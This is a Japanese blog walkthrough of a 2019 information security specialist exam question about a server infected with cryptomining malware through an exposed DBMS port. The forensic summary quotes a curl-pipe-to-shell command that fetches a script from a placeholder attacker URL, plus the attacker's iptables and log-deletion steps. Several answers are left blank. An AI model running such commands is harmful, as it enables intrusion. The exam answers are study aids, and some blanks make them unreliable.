見出し画像

情報処理安全確保支援士2019年(令和元年)秋午後2問1(5,954 文字)

問題冊子、解答例、採点講評はこれ
またIPAがリダイレクト設定せずにURL変えたりしなければつながるはずです


本文(設問1)


本文要約(設問1)

[前提]
① S社は広告の販売と効果測定サービスを行う会社で、効果測定サービスはWebサイトのシステム(Sシステム)で稼働するWebアプリによって提供され、Sシステムの主要なWebアプリはアプリQである。アプリQは自社開発で機能追加や改修が3週に1回リリースされる
② S社は開発チームが開発と運用を一体で行うDevOpsに取り組んでいる。ソフトウェア開発プラットフォームであるサービスHやテキスト共有サービスであるサービスGを用いている。アプリHはアプリQのソースコードなどのファイルバージョン管理を、サービスGではテキストファイルをアップロードして、URLで共有する。指定期間を過ぎたテキストは自動で削除できる。
③ アプリQは頻繁に更新するのでWebアプリの脆弱性診断を定期的には実施できず、年1程度で不定期に実施している。昨年末にはSQLインジェクション脆弱性があり改修した。SシステムではOS、ライブラリ、ミドルウェア(3つ併せて実行環境)を全く更新していない。
[Sシステム]
① アプリQはW社データセンタ内サーバA上で稼働しており、DBMSサービスCと連携している。サービスCのDBには効果測定サービスに関するデータと入会時に登録された会員情報が保存されている。また、サーバAのCPU負荷やメモリの利用状況などをS社開発用LAN上のPCから遠隔監視するツールもサーバA上で稼働している。このツールの導入のためにコンテナ技術を用いている。ネットワーク構成は図1の通り。
② 新アプリ(アプリD)とDBMSサービスであるDBMS-RをサーバA上で稼働させて利用を開始した。S社開発用LANのPCからDBMS-RのDBを参照更新したりネットワーク経由で外部からDBMS-Rを通してOSコマンドを実行する機能(遠隔コマンド実行機能)を利用したりするためにサーバAのポート6739/tcpを開放した。サーバAのFWルールは表1の通り。
[インシデント発生]
① サーバAがW社データセンタ内のほかサーバを探索するアクセスを繰り返しており、サーバAのCPUが100%になっていることと併せてサーバAがマルウェアに感染したと推測、サーバAのストレージを対象としたフォレンジック調査を実施する。
[フォレンジック調査結果]
① サーバAがマルウェアXに感染していた。マルウェアXは暗号資産採掘用プログラムをダウンロードし実行、他のサーバに侵入することを目的としており、6379/tcpが開放されたサーバを探索、脆弱性を悪用して認証をバイパスするかパスワードを辞書攻撃で発見してDBMS-Rに接続、遠隔コマンド実行機能を利用してサーバに侵入する。
② マルウェアXの機能は暗号資産の採掘用プログラムのダウンロードと実行、ほかのサーバ上DBMS-Rに侵入を試行、サーバFWルール変更、ルートキットYのダウンロードとインストール、ログファイル削除である。暗号資産採掘用プログラムは採掘演算結果のみを外部サーバに送信する。
③ サーバAに対してマルウェアXの活動としてDBMS-Rの脆弱性を悪用して認証をバイパスし、サーバA上のDBMS-Rに接続、遠隔コマンド機能でcurl -sf https://▲▲▲▲/attackers-url/xxx.sh | sh -s を実行、引数URLからスクリプトファイルをダウンロードして実行した。結果として↓を実行するようにcron設定を書き換えられた。
1⃣ サーバA上でiptables -I INPUT -p tcp --dport 6379 -j DROPのコマンドを実行、FWルールの先頭にポート6379/tcpへのパケットを破棄するルールを挿入
2⃣ サーバA上でrmコマンドを実行、ログファイルを削除した後ルートキットYをcurlコマンドでダウンロード、DBMS-Rプロセスの実行時権限でインストール。サーバA上で暗号資産採掘用プログラムもcurlコマンドでダウンロードして実行した。
3⃣ サーバAからポート6379/tcpが開放されている他サーバへの侵入を試行した。
④ ルートキットYはマルウェアXの活動を隠蔽するもので、Linuxのプロセス監視ツールである[α]コマンドはプロセスIDが123なら[β]関数を通してディレクトリ[γ]内のファイルにアクセスしてプロセス状態を参照して表示するが、ルートキットYが[β]関数を書き換えると[α]コマンドの出力に暗号資産採掘用プログラムが表示されなくなる。
⑤ ネットワーク経由でのサーバA上のDBMS-RへのアクセスはS社PCからのアクセス以外はマルウェアXによるアクセス1回のみであり、遠隔コマンド実行機能での不審コマンドはマルウェアXだけであり、サーバA上のSSHサービスへの接続もS社PCからのみであったので会員情報漏洩はないと判断した。

問題文(設問1)

解説(設問1)

(1)はFWルールの先頭にポート6379/tcpへのパケットを破棄するルールを挿入をしない場合、攻撃者が困る理由。まあ以下の答えです。他の誰かが使うんだろうなというところまでしか思いつかなかった。そんな頻繁に6379/tcpが使われるのか?というのは参考サイトに貼りましたが、最近増えているらしいです。
答え DBMS-Rにおける同じ脆弱性を悪用されて、別のマルウェアXまたはほかのマルウェアに再度感染してしまい、マルウェアXの動作が阻害されている。
(2)は[フォレンジック調査結果]の④の穴埋め。Linuxのコマンドです。知らぬ
監視ツールであるtop()コマンドはプロセスIDが123ならライブラリ()関数を通してディレクトリ/proc/123()内のファイルにアクセス
答え α : , β : , γ :
(3)は会員情報漏洩がないと判断できる理由。マルウェアXやルートキットYが情報漏洩するような挙動ではない(フォレンジック調査結果②)ことを前提に、他の場所からのアクセスもなかったことを思えば情報漏洩はないと言えます。 100字って長くない?
答え マルウェアXには、暗号資産の採掘プログラムによる採掘演算結果以外の情報を外部に送信する機能はなく、マルウェアX以外による遠隔コマンド実行及びSSHサービスへの接続がなかったから。

本文(設問2)

本文要約(設問2)

① サーバAでのマルウェア対策として以下を実施する。
1⃣ サーバAへのアクセスを利用が想定されるIPのみにする
2⃣ サービスで利用するポート番号をデフォルト以外の値に変更する
3⃣ SSH, HTTP, HTTPSについてサーバAから外部のアクセスを禁止する。
4⃣ アプリ、ミドルウェアを管理者権限以外の必要最小限権限で稼働する。
② 1⃣についてサーバAのポート[あ][い]へのアクセスはS社開発用LANのみなのでFWルールにおいて送信元を[う]に限定する。
③ 2⃣についてはポート番号をS社独自のものにしてもいいが、1⃣があるので2⃣は実施しない。送信元をルータSのグローバルIPのみに限定するのでDBMS-Rのポートは[い]のままとする。
④ 3⃣についてはマルウェアXがサーバA侵入と感染後に[a]コマンドでファイルをダウンロードしていたので80/tcp, 443/tcpを含めて外部のアクセスを禁止する。具体的にはFWルールは表3のように変更する。
⑤ 4⃣については今回[b]コマンドでサーバのFWルールが変更されたことを鑑み、DBMS-Rを必要最小限の権限にして稼働させることでこの実行を防ぐことを検討したが、サーバAで[β]のファイル改ざん検知をおこなうため、保護対象のファイルの[え]を計算して保護された場所に保存しておき、保護対象ファイルの[え]を計算しなおした値とを[お]することで保護対象ファイルの[か]や改ざんが検知できる。ただ、この改ざん検知をWebコンテンツについては頻繁に[か]するため、運用が大変である。

問題文(設問2)

解説(設問2)

(1)の1⃣~4⃣は(ア)~(オ)のどれに対応するか
1⃣のサーバAへアクセスできるIPアドレスの制限は侵入防止ということで
2⃣のポート番号変更も侵入防止なので
3⃣のサーバAからSSH, HTTP, HTTPS以外の制限はダウンロードの防止なので
4⃣の権限限定は現状の変更の防止なので。これらと実行ではなくインストールのも対象です。
答え 1⃣ : , 2⃣ : , 3⃣ , , 4⃣ : ,

(2)は「サーバAのポート[あ][い]へのアクセスはS社開発用LANのみなのでFWルールにおいて送信元を[う]に限定する」の穴埋め。送信元は開発用LANなので図1よりa2.b2.c2.d2(う)。また、6379と22については③の[い]のままにするというの6379を開けたことから22/tcpが(あ)で6379/tcpが(い)です。
答え あ : 22/tcp, い : 6379/tcp, う : a2.b2.c2.d2
(3)は「侵入と感染後に[a]コマンドでファイルをダウンロード」「今回[b]コマンドでサーバのFWルールが変更された」について。[フォレンジック調査結果]③2⃣でcurl(a)コマンドでダウンロードと書きましたしそのまま。同1⃣でiptablesなるコマンドを使ってFWルールを変更していました。
答え a : curl, b : iptables
(4)は「ファイルの[え]を計算しなおした値とを[お]することで保護対象ファイルの[か]や改ざんが検知できる」についてハッシュ値(オ)比較(カ)は基本。マルウェアの時にもよくやってましたね
答え え : , お :

本文(設問3)

本文要約(設問3)

① マルウェアX侵入を招いた原因を検討し、以下プロセスについて変更を検討する
1⃣ 実装プロセス : エンジニアに実装に関するセキュリティ知識を身に着けさせる。セキュアコーディング基準を利用してコーディングレビューを行うことを推奨する
2⃣ 検証プロセス : Webアプリリリース前に機能検証と脆弱性診断をする。検証環境を準備する
3⃣ 運用プロセス : 自社の実行環境について脆弱性情報を収集する。システム変更(ソフトウェア変更、システム設定の変更、システム構成の変更)を管理する。
② 設計プロセスではセキュリティ対策の漏れを防ぐために参考になりそうなセキュリティ対策の標準を利用する
③ 実装プロセスではCERTコーディングスタンダードを利用する。検証プロセスでは脆弱性診断を自社内で行う
④ 運用プロセスでは自社の実行環境の脆弱性情報収集を行うが、収集する情報を必要十分な範囲に絞るため、先だって必要な措置をとる。脆弱性情報が報告されたら社内で[き]を実施し、パッチ適用が必要であれば検証環境でパッチ適用、[く]の後に本番環境にもパッチを適用する。
⑤ システム変更手順として、計画し、作業手順書を作成し、計画及び作業手順書の[け]として、計画及び作業手順書を[こ]が[け]してリーダが承認、作業して確認する流れとする。

問題文(設問3)

解説(設問3)

(1)は参考になりそうなセキュリティ対策の標準とは何か。知らないよ
CIS Benchmarks : サイバーセキュリティ防御を実装管理するのに役立つベストプラクティス
FedRAMP : クラウドサービスの情報セキュリティ基準
OWASP ASVS : アプリケーションのセキュリティ要件、テストのリスト
QUIC : 次世代TCPのようなトランスポートプロトコル
X.509 : 公開鍵証明書の標準
答え ア, ウ
(2)は収集する情報を必要十分な範囲に絞るために何をするかって皆大好き構成管理です。
答え S社のシステムを構成する実行環境のバージョン情報を把握して、その情報を常に最新にしておくこと
(3)は④の穴埋め。脆弱性情報が出たら社内でまず調べて()、回帰テスト()してから実装します。回帰テストは何か変更した後でも正常に対象が動くかを見るものです。
答え き : , く :
(4)は⑤の穴埋め。手順書を第三者(こ)がレビュー(け)してリーダーが承認します。理解はする
答え け : レビュー, こ : 第三者

本文(設問4)

本文要約(設問4)

① コンテナ技術について、サーバで[c]を1つ稼働しておけば[c]上で[d]ごとに別の[e]を稼働させられる。ほかの[e]への影響なく[e]ごとにサービスの提供停止ができる。[c]上で稼働する[e]は複製が容易なので同じ開発環境を複数用意して[d]を開発できる
② 構成管理、変更管理への活用について、実行環境の構成情報を[d]のソースコード同様にサービスHでバージョン管理できる。構成情報については[f]を確認でき、システム変更管理が容易になる。
③ リリース前の確認で[g]環境と同じ実行環境を用意して[d]が動作するかを確認できる。図5で提案した[h]環境も用意できる。
④ [e]内のライブラリ及びミドルウェアは[c]が稼働するOS側のそれらとは別ファイルで、複製した[e]内でライブラリ及びミドルウェアにパッチを適用した時に現在の[d]が正常に稼働するかを[く]を行って確認できる。

問題文(設問4)

解説(設問4)

仮想化の話。穴だらけである。③の図5で提案されたのは検証環境なのでhはの検証環境。システムの変更管理が容易ってそれは変更履歴が見れるからなのでfはの変更の履歴。本番環境のコピーが欲しいと考えればgはの本番。そしてそこで何が動くってアプリなのでdは。コンテナエンジンごとにコンテナが動くということでcがでeがです。
答え c : , d : , e : , f : , g : , h : 

終わりに

実は意外と簡単だったんだろうなという感想
知識問題は知りません

主な参考サイト

「TCP 6379番ポート」宛てのパケットが増加傾向 - JPCERT/CC観測
マルウェアの多層防御、FWルールの見直し、ファイル改ざん検知【情報処理安全確保支援士試験 令和元年度 秋期 午後2 問1 設問2】
CIS Benchmarks とは何ですか?
FedRAMP(米国政府機関におけるクラウドセキュリティ認証制度)
OWASP アプリケーションセキュリティ検証標準 4.0
QUICとは
図解 X.509 証明書


この記事が気に入ったらサポートをしてみませんか?